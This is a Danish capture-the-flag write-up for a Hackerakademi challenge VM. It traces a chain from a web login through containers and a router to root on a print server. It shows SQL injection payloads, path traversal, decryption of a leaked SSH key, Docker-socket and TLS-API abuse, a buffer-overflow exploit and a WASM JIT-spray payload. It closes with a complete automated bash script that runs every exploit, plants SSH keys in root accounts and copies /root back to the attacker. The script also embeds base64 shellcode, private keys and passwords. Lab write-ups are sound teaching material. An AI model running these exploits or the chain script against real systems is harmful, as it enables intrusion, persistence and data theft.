Vi har fået en VM fra https://hackerakademi.dk/challenge.
VM’en har IP: 192.168.122.114
❯ nmap -p- 192.168.122.114
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2200/tcp open ici
2222/tcp open EtherNetIP-1
5355/tcp open llmnr
Tre SSH-lignende-porte (22, 2200, 2222). Port 80 er altid et godt sted at starte.
❯ curl http://192.168.122.114
En login-side til “Secure Vault”. En kommentar fra Pamela giver os et hint:
<!--
TODO: Check for vulnerabilities before deploying!
I ran this "Secure Vault" through our security scanner and uh...
let's just say calling it "secure" is doing some HEAVY lifting!
This AI-generated masterpiece might have more holes than swiss cheese.
I counted at least 2 potential vulns before my coffee got cold.
But sure, ship it to prod on a Friday, what could go wrong?
- pamela
P.S. If you're reading this in a breach report... I TOLD YOU SO
-->Pamela siger der er mindst 2 vulnerabilities. Lad os finde dem.
Siden har en login-form der poster til /secrets. Vi
prøver med tilfældige credentials:
curl -X POST -d "username=bruger&password=kode" http://192.168.122.114/secrets
Fejlbeskeden er for snaksalig:
sqlite: no rows in result set
SQLite backend. Så lad os prøve med SQL injection:
curl -X POST -d "username=admin' OR '1'='1&password=whatever" http://192.168.122.114/secrets
Bingo:
SSH Credentials
Username: user
Password: hunter2
❯ ssh user@192.168.122.114
Password: hunter2
Vi er inde. Hostname er 1ee55c34929d - ligner et Docker
container ID?
Pamela nævnte 2 vulnerabilities. Vi fandt SQL injection. Hvad er den anden? robots.txt er kendt for at give hints:
❯ curl http://192.168.122.114/robots.txt
User-agent: *
Disallow: /../
/../ - path traversal hint?
❯ curl http://192.168.122.114/..%2f
<html><body><h1>static</h1><ul>
<li><a href="id_ed25519.aescbc">id_ed25519.aescbc</a></li>
<li><a href="webroot">webroot</a></li>
</ul></body></html>
En krypteret SSH-nøgle. Vi henter den:
❯ curl http://192.168.122.114/..%2fid_ed25519.aescbc -o id_ed25519.aescbc
strings på filen:
❯ strings id_ed25519.aescbc
Key=MD5("AAAAA")]
;hA#w
1Ss\
^T|A;r
<Af0
❯ KEY=$(echo -n "AAAAA" | md5sum | cut -d' ' -f1)
❯ IV=$(head -c 16 id_ed25519.aescbc | xxd -p)
❯ tail -c +17 id_ed25519.aescbc | openssl enc -aes-128-cbc -d -K "$KEY" -iv "$IV" > id_ed25519
❯ chmod 600 id_ed25519
❯ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBP+Eb68WaGDJi4fR7qLHTdDljzI93OAzseQ7mU70wvzgAAAJhNXsG0TV7B
tAAAAAtzc2gtZWQyNTUxOQAAACBP+Eb68WaGDJi4fR7qLHTdDljzI93OAzseQ7mU70wvzg
AAAEC4QVNx+DQ6LDgAGD4Wmed+UCTbTGfX0D8OtZVyLwh3jU/4RvrxZoYMmLh9HuosdN0O
WPMj3c4DOx5DuZTvTC/OAAAAEnVzZXJAaG9zdGNvbnRhaW5lcgECAw==
-----END OPENSSH PRIVATE KEY-----
❯ grep -v "^-----" id_ed25519 | base64 -d | strings
openssh-key-v1
none
none
ssh-ed25519
ssh-ed25519
4:,8
user@hostcontainer
Det ligner at nøglen er til user på hostcontainer maskinen.
Så der er nok en “hostcontainer” på den anden side af webcontainer.
Lad os se hvad der er at finde.
$ ls -la
chat.log
hostconf/
network.md
bob: They asked me to look at the bpf service, but I can't access it..
jeff: Are you behind the router?
bob: ...there's a router? What are you talking about?
jeff: You're probably in the wrong part of the network, then.
jeff: Anyway, once you get there, you might need the vxlan vpn thingie I made...
bob: vxlan? I'm not following... can you please explain?
jeff: Yeah, eh, I just gotta get some lunch here..
* jeff has left the chat *
bob: ...damnit jeff
Hints:
id | subnet | dhcp | comments
-- | ---------------- | ----------- | -------------
1 | 192.168.??.??/28 | printserver | wan
41 | 172.17.0.0/24 | docker | containers
42 | 10.0.42.0/24 | router | core services
67 | 10.0.67.0/24 | router | vpn services
Så der er:
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=172.17.0.1:2376 run --rm -it debian
rm cert.pem key.pem
ssh -p 2222 172.17.0.1
ssh pamela@localhost
su pamela
Interessant:
rm cert.pem key.pem)docker:x:999:pamela
pwpolicy:x:1337:pamela
Pamela er i docker gruppen - det giver adgang til Docker
socket. Og gruppe 1337 hedder “pwpolicy”?
$ ls hostconf/
ca.pem
con_ca.cnf
docker.default
makeCert.sh
makeKey.py
CA-certifikatet er her stadig! Måske kan vi rekonstruere de slettede filer?
Vi kan ssh’e fra vores lokale maskine og bruge 192.168.114.122 som proxy jump host. Det tog et par forsøg at gætte 2222 som ssh porten på hostcontainer.
ssh -i id_ed25519 -p 2222 -o ProxyJump=user@192.168.122.114 user@172.17.0.1Vi er på hostcontainer som user.
Der var også den Docker CA-ting. Lad os udforske begge veje.
Path traversal nøglen giver os user@hostcontainer. Men
vi finder også to veje til root@hostcontainer:
I hostconf/ mappen (user’s home) finder vi filer til at
generere Docker TLS certifikater.
makeKey.py afslører en fejl:
q = sympy.nextprime(p + (2 ^ 1024))^ i Python er XOR, ikke potens.
2 ^ 1024 = 1026.
Så q = nextprime(p + 1026) - p og q er tæt på hinanden
og Fermats faktoriseringsmetode kan bruges:
[α] user@1ee55c34929d:~$ cd ~/hostconf
[α] user@1ee55c34929d:~$ python3 crack_ca.py
[α] user@1ee55c34929d:~$ ./make_client_cert.sh
Nu kan vi bruge remote Docker TLS API:
[α] user@1ee55c34929d:~$ ssh-keygen -t ed25519 -f mykey -N ""
[α] user@1ee55c34929d:~$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
-H=172.17.0.1:2376 run -v /:/mnt --rm alpine \
sh -c "mkdir -p /mnt/root/.ssh && echo '$(cat mykey.pub)' >> /mnt/root/.ssh/authorized_keys"
[α] user@1ee55c34929d:~$ ssh -i mykey -p 2222 root@172.17.0.1
[δ] root@hostcontainer:~$
Hvis vi ikke vil cracke ca er der en anden vej.
Der ligger en mærkelig fil:
/usr/lib/x86_64-linux-gnu/security/pam_pamela.so
I /etc/pam.d/common-auth:
auth sufficient pam_pamela.so groups=1337
Et custom PAM-modul for gruppe 1337 (pwpolicy). Pamela er i den gruppe.
Efter at reverse-engineere binæren finder vi password-reglerne. Det
er strings som afslører fejlbeskeder og bare hovedet mod
muren med pamela’s bruger/pass som giver os hints:
Vi konstruerer et password: Mowwnn4?a?4nnwwoM
[α] user@1ee55c34929d:~$ su pamela
Password: Mowwnn4?a?4nnwwoM
[β] pamela@1ee55c34929d:/home/user$ whoami
pamela
Pamela er i docker gruppen, og webcontainer har
/var/run/docker.sock mounted.
[β] pamela@1ee55c34929d:/tmp$ ls /var/run/docker.sock
/var/run/docker.sock
[β] pamela@1ee55c34929d:/tmp$ ssh-keygen -t ed25519 -f mykey -N ""
[β] pamela@1ee55c34929d:/tmp$ docker run -v /:/mnt --rm alpine \
sh -c "mkdir -p /mnt/root/.ssh && echo '$(cat mykey.pub)' >> /mnt/root/.ssh/authorized_keys"
[β] pamela@1ee55c34929d:/tmp$ ssh -i mykey -p 2222 root@172.17.0.1
[δ] root@hostcontainer:~$
Ingen TLS certifikater nødvendige - docker.sock gav direkte adgang.
Vi er nu på hostcontainer (som user eller root afhængig af hvilken vej vi tog).
[δ] root@hostcontainer:~$ ip neigh
10.0.42.1 dev if41 lladdr 3e:fd:c2:cb:ee:bf STALE
192.168.249.1 dev host0 lladdr c6:fb:f6:82:34:9d DELAY
172.17.0.2 dev docker0 lladdr 02:42:ac:11:00:02 DELAY
fe80::c4fb:f6ff:fe82:349d dev host0 lladdr c6:fb:f6:82:34:9d router STALE
Vi kan se 10.0.42.0/24 netværket - router-netværket fra network.md.
[γ] user@hostcontainer:~$ sudo -l
Matching Defaults entries for user on hostcontainer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User user may run the following commands on hostcontainer:
(root) NOPASSWD: /usr/bin/apt install *
Interessant - vi kan køre apt install som root. Det er
en potentiel privesc-vektor (ondsindet .deb, pre/post-install scripts),
men vi har allerede root via Docker CA, så vi går videre.
$ nmap 10.0.42.1
PORT STATE SERVICE
22/tcp open ssh
55/tcp open unknown
80/tcp open http
666/tcp open unknown
Fire åbne porte. Port 666 lyder skummelt. Port 55 er ukendt.
Der er flere veje til router. Vi udforsker dem alle.
Vi husker “bpf service” fra chat.log? Lad os prøve port 666:
nc 10.0.42.1 666
Den venter på input. Vi finder binæren
/root/git/bpf/baby-passes-filters og analyserer den.
BPF bytecode indeholder et hardcoded password. Vi ekstraherer det:
Password:
channel_oversold_trillion_zoning
$ nc 10.0.42.1 666
channel_oversold_trillion_zoning
#
whoami
root
Root shell på router.
Service på port 55 har en stack buffer overflow:
char buf[0x10]; // 16 bytes
fgets(buf, 0x100000, stdin); // Læser 1MB!
asm("jmp *%rbp"); // Hopper til stackProgrammet er kompileret med executable stack
(-Wl,-z,execstack).
jmp *%rbp hopper til adressen gemt i base pointer - som
peger på vores buffer efter overflow.
Exploit:
rbp peger nu på vores shellcodejmp *%rbp eksekverer shellcode[γ] user@hostcontainer:~$ python3 solve.py
[*] Shellcode size: 45 bytes
[*] Total payload: 62 bytes
[*] Connecting to 10.0.42.1:55
[*] Sending payload...
[+] Payload sent! Trying interactive shell...
uid=0(root) gid=0(root) groups=0(root)
(solve.py bygger payload og håndterer
socket-forbindelsen)
passwdGen.py i /root/git/pwgen/ bruger en
svag LCG:
python3 solve.py # Generer wordlist
john --format=crypt --wordlist=wordlist.txt hash.txt
Password: X@@z:jO:0C/>T;wD
Vi er root på router. Hvad kan vi se herfra?
Router har to interfaces:
10.0.42.1 - core services (hvor vi kom fra)10.0.67.1 - “vpn services” fra network.md[ε] root@router:~# nmap 10.0.67.0/24
Hosts fundet:
| Host | IP | Port |
|---|---|---|
| wat | 10.0.67.102 | 3000 |
| noted | 10.0.67.199 | 7000 |
| saas | 10.0.67.110 | - |
I /root/git/ finder vi kildekode til diverse services.
Interessant fil:
[ε] root@router:~# cat /root/git/vpn/connect.sh
sshpass -p "smirk_september_procedure_washer" ssh -p 2200 vpn@printserver
Et hardcoded password til printserver. Men router kan ikke nå printserver direkte - den er på et andet subnet (192.168.249.0/28).
Vi kan nå printserver fra hostcontainer:
[γ] user@hostcontainer:~$ ssh -p 2200 vpn@192.168.249.1
Password: smirk_september_procedure_washer
[ζ] vpn@printserver:~$ whoami
vpn
Men vpn-brugeren har begrænset adgang. sudo -l
viser:
[ζ] vpn@printserver:~$ sudo -l
Matching Defaults entries for vpn on printserver:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty,
env_keep+=SSH_CONNECTION
User vpn may run the following commands on printserver:
(root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@wat.service
(root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@noted.service
(root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@saas.service
(root) NOPASSWD: /usr/local/bin/vpn.py
Systemd-nspawn containers!
I /root/git/ finder vi kildekode til backend services.
Og noget meget interessant i nspawn configs:
# /etc/systemd/nspawn/wat.nspawn
[Files]
Bind=/root
[Exec]
PrivateUsers=noBind=/root med PrivateUsers=no! Container
root = host root. Hvis vi får RCE i en container, kan vi skrive til
printserverens /root.
WAT (10.0.67.102:3000) er interessant. Det er en web assembly/WASM compiler service.
I kildekoden finder vi v8.patch:
V(JmpRel, 0xcc, _, "jmp")
void JmpRel(FullDecoder* decoder, int32_t value) {
__ jmp_rel(value);
}En custom WASM opcode der emitterer et x86 jmp med
attacker-kontrolleret offset. Ingen bounds
checking.
Vi kan udnytte dette med JIT spraying:
i64.const kompileres til movabs rax, imm64
- vi kontrollerer de 8 bytesjmp_rel hopper ind midt i instruktionenVi bygger shellcode der skriver en SSH key til
/root/.ssh/authorized_keys.
Pga. Bind=/root er containerens /root =
printserverens /root.
[ε] root@router:~# curl -X POST -H "Content-Type: application/octet-stream" \
--data-binary @exploit_ssh.wasm \
http://10.0.67.102:3000/runwasm
Forbindelsen dropper (Node.js processen erstattes af vores shell-kommando).
SSH-nøglen er nu i printserverens
/root/.ssh/authorized_keys:
$ ssh -i exploit_key -p 2200 root@192.168.249.1
[ω] root@printserver:~# whoami
root
Vi er root på printserver.
[ω] root@printserver:~# cat /root/2022-Q4-sales.txt
SALES 2022 Q4
| Product Name | Units Sold | Revenue | Description |
|--------------------------------|------------|------------|--------------------------------------------|
| Monkey food, "Orangutan Dream" | 150,000 | $450,000 | Also eaten by non-orangutans |
| Monkey food, "Chimp's Choice" | 85,000 | $340,000 | This one really is only for chimps |
| Bananas, industrial grade | 40,000 | $120,000 | Gives the whole operation a sense of scale |
| Apples | 4,000 | $1,000 | For the monkeys, and the cafeteria. |
| Oranges | 4,000 | $1,000 | Just normal oranges. |
| Quantum Warheads | 17 | $9,824,101 | Don't let the monkeys near these, again. |
Det tænker jeg er flaget vi skulle finde.
| System | User | Credential | Metode |
|---|---|---|---|
| webcontainer | user | hunter2 |
SQL Injection |
| webcontainer | pamela | Mowwnn4?a?4nnwwoM |
PAM reverse engineering |
| hostcontainer | user | Path traversal key | AES decrypt |
| hostcontainer | root | Docker CA cert | Fermat factorization |
| router | root | channel_oversold_trillion_zoning |
BPF bytecode |
| router | root | X@@z:jO:0C/>T;wD |
LCG crack |
| printserver | vpn | smirk_september_procedure_washer |
- |
| printserver | root | WAT exploit key | JIT spray |
webcontainer (SQL injection)
|
v
hostcontainer (path traversal key / Docker CA)
|
v
router (BPF shell / PWN1 / LCG crack)
|
v
WAT container (JIT spray exploit)
|
v
printserver (Bind=/root escape)
Hele attack chain er automatiseret i et enkelt script der kører alle exploits og exfiltrerer data:
./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]#!/bin/bash
#
# Full Chain: SQL Injection -> Path Traversal -> BPF -> WAT -> Printserver Root
#
# STANDALONE VERSION - Ingen eksterne afhængigheder
#
# Brug: ./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]
#
# Krav: curl, openssl, sshpass, ssh-copy-id, ssh, tar, xxd, base64
#
# === EXPLOIT CHAIN OPSUMMERING ===
#
# Step 1: SQL Injection (webcontainer:80)
# POST /secrets med "admin' OR '1'='1" -> credentials (user:hunter2)
#
# Step 2: SSH Key Upload (webcontainer:22)
# sshpass + ssh-copy-id -> session key til webcontainer
#
# Step 3: Path Traversal (webcontainer:80)
# GET /..%2fid_ed25519.aescbc -> krypteret hostcontainer SSH key
#
# Step 4: AES Dekryptering
# AES-128-CBC, key=MD5("AAAAA"), IV=første 16 bytes
# -> hostcontainer SSH key (user)
#
# Step 5: BPF Shell (router:666 via hostcontainer)
# nc 10.0.42.1 666 med password "channel_oversold_trillion_zoning"
# -> injicerer SSH key til router root
#
# Step 6: WAT WASM Exploit (wat:3000 via router)
# POST /runwasm med shellcode WASM
# JIT spray exploit -> execve("/bin/sh", "-c", "echo key >> authorized_keys")
# Container har Bind=/root -> skriver til printserver's /root
#
# Step 7: Printserver Root (printserver:2200 via hostcontainer)
# SSH med injiceret key -> tar /root -> exfil
#
# === NETVÆRKSFLOW ===
#
# Attacker -> webcontainer (192.168.122.114)
# |
# v (Docker: 172.17.0.1:2222)
# hostcontainer
# |
# +---> router (10.0.42.1) ---> wat (10.0.67.102:3000)
# | |
# | [WASM exploit]
# | |
# | v
# +---> printserver (gateway:2200) <---+
# |
# v
# /root exfil
#
set -e
WORKDIR=$(mktemp -d)
# === Embedded exploit filer (base64) ===
EXPLOIT_WASM_B64="AGFzbQEAAAABBAFgAAADAgEABQMBAAEIAQAKUwFRAEEAQsia5oOUxvT1CTcDAEEIQtKQtYyEitT1BjcDAEEQQsiahsKE6tX1BjcDAEEYQsiSmo+DmOT1BjcDAEEgQrD3vKiAkqTIkH83AwDMuX8LC6wBAQBBwAALpAEvYmluL3NoAC1jAAAAAAAAbWtkaXIgLXAgL3Jvb3QvLnNzaDtlY2hvICdzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSVpET1c5eWM0Wmw0VjNNMWhBVHlHdVVicEtZMHZKeFI2emVFRGFFcnFrMSBleHBsb2l0QHdhdCc+Pi9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzAA=="
EXPLOIT_KEY_CONTENT="-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQAAAJAlGJ3gJRid
4AAAAAtzc2gtZWQyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQ
AAAEB08aVFei1tjr/EW/ijfvgTg1vgZcBOscMbFM6J00puyIZDOW9yc4Zl4V3M1hATyGuU
bpKY0vJxR6zeEDaErqk1AAAAC2V4cGxvaXRAd2F0AQI=
-----END OPENSSH PRIVATE KEY-----"
EXPLOIT_PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZDOW9yc4Zl4V3M1hATyGuUbpKY0vJxR6zeEDaErqk1 exploit@wat"
# Parse argumenter
DO_CLEANUP=false
POSITIONAL=()
while [[ $# -gt 0 ]]; do
case $1 in
--cleanup)
DO_CLEANUP=true
shift
;;
*)
POSITIONAL+=("$1")
shift
;;
esac
done
WEBCONTAINER="${POSITIONAL[0]:-192.168.122.114}"
OUTDIR="${POSITIONAL[1]:-.}"
GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m'
log() { echo -e "${GREEN}[+]${NC} $1"; }
err() { echo -e "${RED}[-]${NC} $1"; exit 1; }
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT
# === Targets (relative til webcontainer) ===
HOSTCONTAINER="172.17.0.1"
HOSTCONTAINER_PORT="2222"
ROUTER="10.0.42.1"
WAT="10.0.67.102:3000"
PRINTSERVER_PORT="2200"
# === Hardcoded secrets ===
BPF_PASS="channel_oversold_trillion_zoning"
AES_PASSPHRASE="AAAAA"
# Check dependencies
for cmd in curl openssl sshpass ssh-copy-id ssh tar xxd base64; do
command -v $cmd &>/dev/null || err "$cmd ikke fundet"
done
# Skriv embedded filer til WORKDIR
echo "$EXPLOIT_KEY_CONTENT" > "$WORKDIR/exploit_key"
chmod 600 "$WORKDIR/exploit_key"
SSH_OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR"
echo ""
echo "================================================================"
echo " Full Chain: Attacker -> Printserver Root (STANDALONE)"
echo " Target: $WEBCONTAINER"
echo " SQL Injection -> Path Traversal -> BPF Shell -> WAT Exploit"
echo "================================================================"
echo ""
# === Step 1: SQL Injection -> credentials ===
log "Step 1/7: SQL Injection -> henter credentials..."
SQLI_RESPONSE=$(curl -s -X POST \
-d "username=admin' OR '1'='1&password=whatever" \
"http://${WEBCONTAINER}/secrets")
WEB_USER=$(echo "$SQLI_RESPONSE" | grep -oP 'Username: \K[^\n<]+' | tr -d '\r')
WEB_PASS=$(echo "$SQLI_RESPONSE" | grep -oP 'Password: \K[^\n<]+' | tr -d '\r')
[ -n "$WEB_USER" ] && [ -n "$WEB_PASS" ] || err "SQL Injection fejlede"
log " OK Credentials: $WEB_USER:$WEB_PASS"
# === Step 2: Generer session key og upload til webcontainer ===
log "Step 2/7: Genererer session key og uploader til webcontainer..."
log " -> sshpass + ssh-copy-id ${WEB_USER}@${WEBCONTAINER}"
ssh-keygen -t ed25519 -f "$WORKDIR/sessionkey" -N "" -q
sshpass -p "$WEB_PASS" ssh-copy-id -i "$WORKDIR/sessionkey.pub" \
$SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" 2>/dev/null
log " OK Session key uploadet til webcontainer"
# === Step 3: Path Traversal -> krypteret SSH key ===
log "Step 3/7: Path Traversal -> henter krypteret SSH key..."
curl -s "http://${WEBCONTAINER}/..%2fid_ed25519.aescbc" -o "$WORKDIR/key.enc"
[ -s "$WORKDIR/key.enc" ] || err "Path Traversal fejlede"
log " OK Hentet id_ed25519.aescbc"
# === Step 4: Dekrypter SSH key ===
log "Step 4/7: Dekrypterer SSH key (AES-CBC, MD5('$AES_PASSPHRASE'))..."
AES_KEY=$(echo -n "$AES_PASSPHRASE" | md5sum | cut -d' ' -f1)
AES_IV=$(head -c 16 "$WORKDIR/key.enc" | xxd -p)
tail -c +17 "$WORKDIR/key.enc" | openssl enc -aes-128-cbc -d -K "$AES_KEY" -iv "$AES_IV" > "$WORKDIR/hostkey"
chmod 600 "$WORKDIR/hostkey"
log " OK SSH key dekrypteret"
# === Step 5: BPF shell -> router ===
log "Step 5/7: Forbinder til hostcontainer, BPF shell til router..."
log " -> SSH ${WEB_USER}@${WEBCONTAINER} (session key)"
log " -> SSH user@${HOSTCONTAINER}:${HOSTCONTAINER_PORT} (decrypted key)"
log " -> BPF shell ${ROUTER}:666"
# Generer router session key
ssh-keygen -t ed25519 -f "$WORKDIR/routerkey" -N "" -q
ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")
# Opret midlertidig ssh_config
cat > "$WORKDIR/ssh_config" << EOF
Host webcontainer
HostName $WEBCONTAINER
User $WEB_USER
IdentityFile $WORKDIR/sessionkey
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Host hostcontainer
HostName $HOSTCONTAINER
Port $HOSTCONTAINER_PORT
User user
IdentityFile $WORKDIR/hostkey
ProxyJump webcontainer
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
EOF
# Send BPF kommandoer
ssh -T -F "$WORKDIR/ssh_config" hostcontainer << ENDSSH
{
echo '$BPF_PASS'
sleep 0.3
echo 'mkdir -p /root/.ssh'
sleep 0.3
echo 'chmod 700 /root/.ssh'
sleep 0.3
echo 'echo "$ROUTER_PUBKEY" >> /root/.ssh/authorized_keys'
sleep 0.3
echo 'chmod 600 /root/.ssh/authorized_keys'
sleep 0.3
} | nc -q 2 10.0.42.1 666 2>/dev/null
true
ENDSSH
log " OK Router SSH key injiceret"
# Find printserver IP dynamisk
PRINTSERVER=$(ssh -T -F "$WORKDIR/ssh_config" hostcontainer "ip route show default dev host0 2>/dev/null | awk '{print \$3}'" 2>/dev/null | tr -d '\r\n')
if [ -z "$PRINTSERVER" ]; then
err "Kunne ikke finde printserver IP fra hostcontainer"
fi
log " -> Printserver IP: $PRINTSERVER"
# === Step 6: WAT exploit via router ===
log "Step 6/7: Forbinder til router, sender WAT exploit..."
log " -> SSH root@${ROUTER} (router key)"
log " -> curl http://${WAT}/runwasm"
cat >> "$WORKDIR/ssh_config" << EOF
Host router
HostName $ROUTER
User root
IdentityFile $WORKDIR/routerkey
ProxyJump hostcontainer
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
EOF
ssh -T -F "$WORKDIR/ssh_config" router \
"echo $EXPLOIT_WASM_B64 | base64 -d > /tmp/e.wasm && curl -s -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/e.wasm http://${WAT}/runwasm; rm -f /tmp/e.wasm"
log " OK WAT exploit kørt -> SSH key injiceret på printserver"
# === Step 7: Kopier /root fra printserver ===
log "Step 7/7: Forbinder til printserver, kopierer /root..."
log " -> SSH root@${PRINTSERVER}:${PRINTSERVER_PORT} (exploit key)"
sleep 1
cat >> "$WORKDIR/ssh_config" << EOF
Host printserver
HostName $PRINTSERVER
Port $PRINTSERVER_PORT
User root
IdentityFile $WORKDIR/exploit_key
ProxyJump hostcontainer
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
EOF
mkdir -p "$OUTDIR/printserver_root"
ssh -T -F "$WORKDIR/ssh_config" printserver \
"tar czf - /root 2>/dev/null" | tar xzf - -C "$OUTDIR/printserver_root" --strip-components=1 2>/dev/null || true
log " OK /root kopieret"
# Gem exploit key til output
echo "$EXPLOIT_KEY_CONTENT" > "$OUTDIR/printserver_root_key"
chmod 600 "$OUTDIR/printserver_root_key"
# === Step 8 (optional): Cleanup ===
if [ "$DO_CLEANUP" = true ]; then
log "Step 8/8: Cleanup - fjerner injicerede SSH keys..."
SESSION_PUBKEY=$(cat "$WORKDIR/sessionkey.pub")
ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")
log " -> Fjerner exploit key fra printserver..."
ssh -T -F "$WORKDIR/ssh_config" printserver \
"grep -v '$(echo "$EXPLOIT_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true
log " -> Fjerner router key fra router..."
ssh -T -F "$WORKDIR/ssh_config" router \
"grep -v '$(echo "$ROUTER_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true
log " -> Fjerner session key fra webcontainer..."
ssh -T -i "$WORKDIR/sessionkey" $SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" \
"grep -v '$(echo "$SESSION_PUBKEY" | awk '{print $2}')' ~/.ssh/authorized_keys > ~/.ssh/authorized_keys.tmp && mv ~/.ssh/authorized_keys.tmp ~/.ssh/authorized_keys" 2>/dev/null || true
log " OK Cleanup gennemført"
fi
echo ""
echo "================================================================"
echo " DONE"
echo "================================================================"
echo ""
log "Printserver /root -> $OUTDIR/printserver_root/"
log "SSH key -> $OUTDIR/printserver_root_key"
if [ "$DO_CLEANUP" = true ]; then
log "Cleanup -> SSH keys fjernet fra targets"
fi
echo ""